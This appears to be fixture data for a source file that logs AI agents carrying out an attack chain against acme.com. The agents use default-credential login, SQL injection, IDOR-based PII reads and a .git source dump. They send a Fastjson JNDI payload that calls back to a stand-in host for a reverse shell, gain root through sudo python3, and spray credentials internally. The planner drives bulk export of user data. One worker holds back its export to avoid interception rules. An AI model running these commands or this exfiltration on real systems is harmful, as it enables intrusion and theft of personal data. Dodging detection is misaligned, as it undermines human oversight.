seq: 1306,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:26:10Z"),
|
||
kind: "text",
|
||
summary:
|
||
"g4 wrapped up and the external-internal chain is fully connected (external RCE → DMZ → internal → domain controller). Comparing uncovered directions one by one: g2 'Read user sensitive data' still lacks the final step, but the existing i3 (admin user APIs) + i5 (API IDOR) already cover that direction and both are running. No [essentially different uncovered new direction] this round — 0 new intents per the restraint principle; wait for i3/i5 output.",
|
||
},
|
||
|
||
// ── Round 4 · Admin goal met, converging on g2 (2026-07-26 03:55) ──
|
||
{
|
||
seq: 1400,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:00Z"),
|
||
kind: "round",
|
||
summary: "Round 4 · Admin goal met, converging on g2",
|
||
},
|
||
{
|
||
seq: 1401,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:14Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"Comparing recent_facts: work#2 used Acme@2021 from faCreds to break into the admin console (i2 done); admin access is in hand — g1's acceptance is met, so prove_goal stamps it first. Then a [quantitative acceptance check]: g2 'Read user sensitive data' currently only has i3/i5 touching the API surface without actually obtaining bulk data; measured as not met, prove_goal is [forbidden] — instead raise priorities and supplement data-retrieval intents.",
|
||
},
|
||
{
|
||
seq: 1402,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:26Z"),
|
||
kind: "tool_use",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p4-pg",
|
||
summary: "prove_goal(g1, evidence=fa1)",
|
||
detail:
|
||
"reason: i2 used the externally leaked hardcoded password Acme@2021 to log into the admin console (Element-UI) and obtained admin access; g1 is met.",
|
||
},
|
||
{
|
||
seq: 1403,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:28Z"),
|
||
kind: "tool_result",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p4-pg",
|
||
summary: "goal g1 → met; remaining unmet: g2",
|
||
},
|
||
{
|
||
seq: 1404,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:40Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"g2 quantitative check: the goal's 'Read user sensitive data' = actually obtaining bulk user records. findings in graph_overview has no 'user data exported' entry yet, and i3/i5 are both running with no retrieval results back — measured as not met. Marking met early on 'the console is entered, broadly done' is strictly forbidden; keep dispatching intents to close the gap.",
|
||
},
|
||
{
|
||
seq: 1405,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:52Z"),
|
||
kind: "tool_use",
|
||
tool: "add_intent",
|
||
tool_use_id: "p4-ai",
|
||
summary: "add_intent × 2 (converge on g2 data retrieval, raise priority)",
|
||
detail:
|
||
"intents=[\n { summary: 'Logged into the admin console; enumerate user management/export APIs and pull user sensitive fields in bulk', asset_ids: [admin], parent_ids: [fa1], priority: 9 },\n { summary: 'api.acme.com order IDOR: iterate order_id to pull user orders/PII in bulk', asset_ids: [api], parent_ids: [fa2], priority: 9 },\n]\nNote: i3/i5 are already running; this round escalates with more precise retrieval descriptions + raised priorities (→9) instead of duplicating synonymous intents.",
|
||
},
|
||
{
|
||
seq: 1406,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:54Z"),
|
||
kind: "tool_result",
|
||
tool: "add_intent",
|
||
tool_use_id: "p4-ai",
|
||
summary: "2 intents updated → ids=[i3, i5] (priority raised to 9, descriptions refined to 'bulk data retrieval')",
|
||
},
|
||
{
|
||
seq: 1407,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:58Z"),
|
||
kind: "text",
|
||
summary:
|
||
"g1 met (3 of 4 already met: g1/g3/g4). g2 strictly follows quantitative acceptance — merely entering the console does not count; bulk user data must be obtained before stamping it; i3/i5 are raised to priority 9 and refined into retrieval intents, and the whole task wraps up once workers report back.",
|
||
},
|
||
|
||
// work#1 · i1 subdomain enumeration and port scanning (done)
|
||
{
|
||
seq: 10,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:20:00Z"),
|
||
kind: "thinking",
|
||
summary: "First passively recon subdomains, then identify ports/services on alive hosts.",
|
||
},
|
||
{
|
||
seq: 11,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:20:30Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t11",
|
||
summary: "subfinder -d acme.com -silent | httpx -silent -sc -title",
|
||
},
|
||
{
|
||
seq: 12,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:22:10Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t11",
|
||
summary:
|
||
"www.acme.com [200] Acme Corp\nadmin.acme.com [200] Acme Admin Login\napi.acme.com [401]\nshop.acme.com [200]\nvpn.acme.com [200]",
|
||
detail: "5 alive subdomains; admin is the admin login page.",
|
||
},
|
||
{
|
||
seq: 13,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:23:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t12",
|
||
summary: "nmap -sV -T4 -p- 203.0.113.10",
|
||
},
|
||
{
|
||
seq: 14,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:26:40Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t12",
|
||
summary: "22/tcp ssh OpenSSH 8.9p1\n80/tcp http nginx 1.24.0\n443/tcp https nginx 1.24.0",
|
||
detail: "Ports 22/80/443 open.",
|
||
},
|
||
{
|
||
seq: 15,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:27:00Z"),
|
||
kind: "tool_use",
|
||
tool: "upsert_asset",
|
||
tool_use_id: "t13",
|
||
summary: "upsert_asset × 6 (subdomains + services)",
|
||
},
|
||
{
|
||
seq: 16,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:27:01Z"),
|
||
kind: "tool_result",
|
||
tool: "upsert_asset",
|
||
tool_use_id: "t13",
|
||
summary: "6 assets upserted",
|
||
},
|
||
{
|
||
seq: 17,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:40:00Z"),
|
||
kind: "result",
|
||
summary: "Asset reconnaissance complete; the admin console admin.acme.com was discovered and handed back to the graph.",
|
||
input_tokens: 96000,
|
||
output_tokens: 6100,
|
||
cache_read_tokens: 61000,
|
||
cache_write_tokens: 9000,
|
||
},
|
||
|
||
// work#2 · i2 admin default credentials (done, proves g1)
|
||
{
|
||
seq: 20,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:31:00Z"),
|
||
kind: "thinking",
|
||
summary: "The admin console is Element-UI; the login endpoint has no captcha and no rate limit. Try the default credential list first, then dictionaries.",
|
||
},
|
||
{
|
||
seq: 21,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:32:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t21",
|
||
summary: "curl -s -d 'username=admin&password=admin' https://admin.acme.com/login -o /dev/null -w '%{http_code}'",
|
||
},
|
||
{
|
||
seq: 22,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:32:03Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t21",
|
||
summary: "401",
|
||
detail: "admin/admin failed.",
|
||
},
|
||
{
|
||
seq: 23,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:32:30Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t22",
|
||
summary: "curl -si -d 'username=admin&password=admin123' https://admin.acme.com/login",
|
||
},
|
||
{
|
||
seq: 24,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:32:33Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t22",
|
||
summary: "HTTP/1.1 302 Found\nSet-Cookie: session=eyJ…; HttpOnly\nLocation: /dashboard",
|
||
detail: "admin/admin123 logged in successfully; session cookie obtained.",
|
||
},
|
||
{
|
||
seq: 25,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:33:10Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t23",
|
||
summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/dashboard | grep -o '<title>[^<]*'",
|
||
},
|
||
{
|
||
seq: 26,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:33:12Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t23",
|
||
summary: "<title>Acme Admin · Console",
|
||
detail: "Confirmed inside the admin console.",
|
||
},
|
||
{
|
||
seq: 27,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:34:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t24",
|
||
summary: "report_finding(Default Credentials, high)",
|
||
},
|
||
{
|
||
seq: 28,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:34:01Z"),
|
||
kind: "tool_result",
|
||
tool: "report_finding",
|
||
tool_use_id: "t24",
|
||
summary: "finding f-6 recorded and linked to goal g1 (proves)",
|
||
},
|
||
{
|
||
seq: 29,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:50:00Z"),
|
||
kind: "result",
|
||
summary: "Admin default credentials confirmed; goal (1) met.",
|
||
input_tokens: 72000,
|
||
output_tokens: 4800,
|
||
cache_read_tokens: 48000,
|
||
cache_write_tokens: 7200,
|
||
},
|
||
|
||
// work#4 · i4 SQL injection (done)
|
||
{
|
||
seq: 40,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-25T22:01:00Z"),
|
||
kind: "thinking",
|
||
summary: "The search?q= result page concatenates q into the title; add a single quote manually first to see the error.",
|
||
},
|
||
{
|
||
seq: 41,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-25T22:02:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t41",
|
||
summary: "curl -s \"https://www.acme.com/search?q=1'\" | grep -i 'sql\\|syntax'",
|
||
},
|
||
{
|
||
seq: 42,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-25T22:02:04Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t41",
|
||
summary: "Unclosed quotation mark ... near '1'.",
|
||
detail: "Signs of MSSQL error-based injection.",
|
||
},
|
||
{
|
||
seq: 43,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-25T22:03:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t42",
|
||
summary: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs --level 2",
|
||
},
|
||
{
|
||
seq: 44,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-26T01:18:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t42",
|
||
summary:
|
||
"Parameter: q (GET) — error-based, MSSQL\navailable databases [4]: acme_prod, information_schema, master, tempdb",
|
||
detail: "Injection confirmed; 4 databases enumerated.",
|
||
},
|
||
{
|
||
seq: 45,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-26T01:19:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t43",
|
||
summary: "report_finding(SQL Injection, high)",
|
||
},
|
||
{
|
||
seq: 46,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-26T01:19:01Z"),
|
||
kind: "tool_result",
|
||
tool: "report_finding",
|
||
tool_use_id: "t43",
|
||
summary: "finding f-1 recorded",
|
||
},
|
||
{
|
||
seq: 47,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-26T01:20:00Z"),
|
||
kind: "result",
|
||
summary: "SQL injection confirmed.",
|
||
input_tokens: 118000,
|
||
output_tokens: 7400,
|
||
cache_read_tokens: 82000,
|
||
cache_write_tokens: 11000,
|
||
},
|
||
|
||
// work#5 · i5 IDOR (running)
|
||
{
|
||
seq: 50,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:31:00Z"),
|
||
kind: "thinking",
|
||
summary: "/v1/orders?id= is a numeric auto-increment id, a typical IDOR surface. Fetch your own order first, then change the id to see if others' can be read.",
|
||
},
|
||
{
|
||
seq: 51,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:40:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t51",
|
||
summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1001",
|
||
},
|
||
{
|
||
seq: 52,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:40:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t51",
|
||
summary: '{ "order_id":1001, "user_id":42, "amount":299 }',
|
||
detail: "My own order, as normal.",
|
||
},
|
||
{
|
||
seq: 53,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:43:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t52",
|
||
summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1002",
|
||
},
|
||
{
|
||
seq: 54,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:43:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t52",
|
||
summary: '{ "order_id":1002, "user_id":77, "amount":1299, "phone":"138****6021", "address":"Chaoyang, Beijing ****" }',
|
||
detail: "Read another user's order without authorization (including phone/address); no ownership check.",
|
||
},
|
||
{
|
||
seq: 55,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:44:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t53",
|
||
summary: "report_finding(IDOR, high)",
|
||
},
|
||
{
|
||
seq: 56,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:44:01Z"),
|
||
kind: "tool_result",
|
||
tool: "report_finding",
|
||
tool_use_id: "t53",
|
||
summary: "finding f-2 recorded",
|
||
},
|
||
{
|
||
seq: 57,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T03:58:10Z"),
|
||
kind: "thinking",
|
||
summary: "Iterating the id range in bulk to size the unauthorized data exposure (not exporting yet, to avoid triggering interception rules).",
|
||
},
|
||
|
||
// work#3 · i3 admin user API enumeration (running)
|
||
{
|
||
seq: 60,
|
||
worker: "work#3",
|
||
intent_id: "i3",
|
||
ts: T("2026-07-26T03:56:00Z"),
|
||
kind: "thinking",
|
||
summary: "With an admin session in hand, enumerate management APIs to find an entry that can bulk-export user sensitive data (goal 2).",
|
||
},
|
||
{
|
||
seq: 61,
|
||
worker: "work#3",
|
||
intent_id: "i3",
|
||
ts: T("2026-07-26T03:57:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t61",
|
||
summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/api/users?page=1",
|
||
},
|
||
{
|
||
seq: 62,
|
||
worker: "work#3",
|
||
intent_id: "i3",
|
||
ts: T("2026-07-26T03:57:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t61",
|
||
summary: '{ "total": 12840, "items": [ { "id":1, "email":"a***@acme.com", "phone":"139****" } ] }',
|
||
detail: "The management API returns all users with pagination (including email/phone), about 12.8k rows.",
|
||
},
|
||
{
|
||
seq: 63,
|
||
worker: "work#3",
|
||
intent_id: "i3",
|
||
ts: T("2026-07-26T03:58:20Z"),
|
||
kind: "thinking",
|
||
summary: "A bulk user data read entry is confirmed; the export action hit destructive/exfiltration rules and an interception approval has been submitted awaiting an allow decision.",
|
||
},
|
||
|
||
// workG · ig .git source leak and hardcoded credentials (done)
|
||
{
|
||
seq: 310,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:26:00Z"),
|
||
kind: "thinking",
|
||
summary: "robots.txt mentions /.git; probe whether the directory is downloadable first — with the source, injection points and hardcoded keys can be found white-box.",
|
||
},
|
||
{
|
||
seq: 311,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:27:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "tg1",
|
||
summary: "curl -s -o /dev/null -w '%{http_code}' https://www.acme.com/.git/HEAD",
|
||
},
|
||
{
|
||
seq: 312,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:27:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "tg1",
|
||
summary: "200",
|
||
detail: "The .git directory is externally accessible.",
|
||
},
|
||
{
|
||
seq: 313,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:28:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "tg2",
|
||
summary: "git-dumper https://www.acme.com/.git/ /tmp/acme && git -C /tmp/acme log --oneline | head",
|
||
},
|
||
{
|
||
seq: 314,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:30:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "tg2",
|
||
summary: "214 files recovered; HEAD=main. config.php / db.php are among them.",
|
||
detail: "The full backend source was recovered to /tmp/acme.",
|
||
},
|
||
{
|
||
seq: 315,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:34:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "tg3",
|
||
summary: "grep -rniE 'password|pwd|secret|Data Source' /tmp/acme/config.php",
|
||
},
|
||
{
|
||
seq: 316,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:34:03Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "tg3",
|
||
summary: "$db_user='sa'; $db_pass='Acme@2021'; $db_host='10.10.10.30';",
|
||
detail: "A hardcoded database password, with the host pointing to an internal IP — recorded as a suspected internally shared credential.",
|
||
},
|
||
{
|
||
seq: 317,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:36:00Z"),
|
||
kind: "result",
|
||
summary: "Source leak + hardcoded DB credentials confirmed; credentials entered the graph for later internal reuse.",
|
||
input_tokens: 88000,
|
||
output_tokens: 5200,
|
||
cache_read_tokens: 60000,
|
||
cache_write_tokens: 8000,
|
||
},
|
||
|
||
// work#6 · i6 shop fingerprinting and CVE correlation (done)
|
||
{
|
||
seq: 320,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:22:00Z"),
|
||
kind: "thinking",
|
||
summary: "shop.acme.com is an in-house e-commerce site; fingerprint the framework/component versions first, then target components with known deserialization issues.",
|
||
},
|
||
{
|
||
seq: 321,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:24:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t6a",
|
||
summary: "curl -si https://shop.acme.com/ | grep -iE 'x-powered-by|server|jsessionid'",
|
||
},
|
||
{
|
||
seq: 322,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:24:03Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t6a",
|
||
summary: "X-Powered-By: Servlet\nSet-Cookie: JSESSIONID=...",
|
||
detail: "Java stack; /api/import exists and accepts a JSON body.",
|
||
},
|
||
{
|
||
seq: 323,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:30:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t6b",
|
||
summary:
|
||
'curl -s -H \'Content-Type: application/json\' -d \'{"a":{"@type":"java.lang.AutoCloseable"}}\' https://shop.acme.com/api/import',
|
||
},
|
||
{
|
||
seq: 324,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:31:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t6b",
|
||
summary: "The error stack contains com.alibaba.fastjson.JSONException (1.2.24)",
|
||
detail: "Fastjson 1.2.24 confirmed — matching the JdbcRowSetImpl JNDI injection RCE.",
|
||
},
|
||
{
|
||
seq: 325,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:40:00Z"),
|
||
kind: "result",
|
||
summary: "Fingerprint matched Fastjson 1.2.24; the deserialization RCE surface is established and handed to the exploitation intent.",
|
||
input_tokens: 64000,
|
||
output_tokens: 4100,
|
||
cache_read_tokens: 42000,
|
||
cache_write_tokens: 6000,
|
||
},
|
||
|
||
// work#7 · i7 deserialization RCE for a reverse shell (done, proves g3)
|
||
{
|
||
seq: 330,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:12:00Z"),
|
||
kind: "thinking",
|
||
summary: "Stand up a rogue JNDI/LDAP service and have shop call back to load and execute the payload; verify egress with dnslog first, then land a reverse shell.",
|
||
},
|
||
{
|
||
seq: 331,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:15:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t7a",
|
||
summary: "java -jar JNDIExploit.jar -i <vps> -l 1389 & # start the LDAP/HTTP rogue service",
|
||
},
|
||
{
|
||
seq: 332,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:16:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t7a",
|
||
summary: "LDAP Server started on 1389, HTTP on 8180",
|
||
detail: "The rogue service is ready.",
|
||
},
|
||
{
|
||
seq: 333,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:20:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t7b",
|
||
summary:
|
||
'curl -s -H \'Content-Type: application/json\' -d \'{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://<vps>:1389/Basic/ReverseShell/<vps>/4444","autoCommit":true}\' https://shop.acme.com/api/import',
|
||
},
|
||
{
|
||
seq: 334,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:21:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t7b",
|
||
summary: "LDAP received the request → ReverseShell loaded → the nc listener got the connection",
|
||
detail: "The payload triggered successfully.",
|
||
},
|
||
{
|
||
seq: 335,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:24:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t7c",
|
||
summary: "id; hostname -I # confirm identity and network segment inside the reverse shell",
|
||
},
|
||
{
|
||
seq: 336,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:24:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t7c",
|
||
summary: "uid=33(www-data) gid=33 groups=33\n10.0.20.15 10.10.10.15",
|
||
detail: "www-data@dmz-web01, with a second NIC on 10.10.10.x — inside the DMZ and adjacent to the internal network.",
|
||
},
|
||
{
|
||
seq: 337,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:30:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t7d",
|
||
summary: "report_finding(Deserialization RCE, high)",
|
||
},
|
||
{
|
||
seq: 338,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:40:00Z"),
|
||
kind: "result",
|
||
summary: "The deserialization RCE obtained a www-data reverse shell; goal 3's foothold is initially established.",
|
||
input_tokens: 132000,
|
||
output_tokens: 8600,
|
||
cache_read_tokens: 90000,
|
||
cache_write_tokens: 12000,
|
||
},
|
||
|
||
// work#8 · i8 foothold privilege escalation (done)
|
||
{
|
||
seq: 340,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:02:00Z"),
|
||
kind: "thinking",
|
||
summary: "www-data is limited; gather local information first to find escalation paths: sudo config, SUID, kernel version.",
|
||
},
|
||
{
|
||
seq: 341,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:05:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t8a",
|
||
summary: "sudo -n -l 2>/dev/null; find / -perm -4000 -type f 2>/dev/null | head",
|
||
},
|
||
{
|
||
seq: 342,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:05:03Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t8a",
|
||
summary: "User www-data may run: (ALL) NOPASSWD: /usr/bin/python3",
|
||
detail: "python3 is in the sudo allowlist passwordless — direct escalation is possible.",
|
||
},
|
||
{
|
||
seq: 343,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:10:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t8b",
|
||
summary: "sudo python3 -c 'import os;os.setuid(0);os.system(\"id\")'",
|
||
},
|
||
{
|
||
seq: 344,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:10:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t8b",
|
||
summary: "uid=0(root) gid=0(root) groups=0(root)",
|
||
detail: "Escalated to root.",
|
||
},
|
||
{
|
||
seq: 345,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:14:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t8c",
|
||
summary: "report_finding(Privilege Escalation, high)",
|
||
},
|
||
{
|
||
seq: 346,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:20:00Z"),
|
||
kind: "result",
|
||
summary: "Local escalation to root complete and the foothold is solid; ready to pivot internally from it.",
|
||
input_tokens: 74000,
|
||
output_tokens: 4700,
|
||
cache_read_tokens: 50000,
|
||
cache_write_tokens: 7000,
|
||
},
|
||
|
||
// work#9 · i9 internal host discovery (done)
|
||
{
|
||
seq: 350,
|
||
worker: "work#9",
|
||
intent_id: "i9",
|
||
ts: T("2026-07-25T20:32:00Z"),
|
||
kind: "thinking",
|
||
summary: "The foothold connects directly to 10.10.10.0/24; use fscan/internal scanning for host and port discovery to pin down the domain controller and high-value hosts.",
|
||
},
|
||
{
|
||
seq: 351,
|
||
worker: "work#9",
|
||
intent_id: "i9",
|
||
ts: T("2026-07-25T20:36:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t9a",
|
||
summary: "./fscan -h 10.10.10.0/24 -np -nobr 2>&1 | tail -n 30",
|
||
},
|
||
{
|
||
seq: 352,
|
||
worker: "work#9",
|
||
intent_id: "i9",
|
||
ts: T("2026-07-25T20:55:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t9a",
|
||
summary: "DC01(10.10.10.10) 88/389/445\nFS01(10.10.10.5) 445\nJENKINS(10.10.10.20) 8080",
|
||
detail: "Pinned down the domain controller DC01, the file server FS01, and the internal Jenkins.",
|
||
},
|
||
{
|
||
seq: 353,
|
||
worker: "work#9",
|
||
intent_id: "i9",
|
||
ts: T("2026-07-25T21:00:00Z"),
|
||
kind: "result",
|
||
summary: "Internal host discovery complete; 3 high-value targets entered the graph.",
|
||
input_tokens: 82000,
|
||
output_tokens: 5100,
|
||
cache_read_tokens: 56000,
|
||
cache_write_tokens: 8000,
|
||
},
|
||
|
||
// work#10 · i10 internal credential reuse (running)
|
||
{
|
||
seq: 360,
|
||
worker: "work#10",
|
||
intent_id: "i10",
|
||
ts: T("2026-07-26T03:42:00Z"),
|
||
kind: "thinking",
|
||
summary: "The leaked sa/Acme@2021 is a DB password, and password reuse is common in companies. Password-spray DC01/FS01/JENKINS.",
|
||
},
|
||
{
|
||
seq: 361,
|
||
worker: "work#10",
|
||
intent_id: "i10",
|
||
ts: T("2026-07-26T03:44:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t10a",
|
||
summary: "crackmapexec smb 10.10.10.5 10.10.10.10 -u sa -p 'Acme@2021'",
|
||
},
|
||
{
|
||
seq: 362,
|
||
worker: "work#10",
|
||
intent_id: "i10",
|
||
ts: T("2026-07-26T03:44:10Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t10a",
|
||
summary: "FS01 [+] acme.local\\sa:Acme@2021 (Pwn3d!)\nDC01 [-] authentication failed",
|
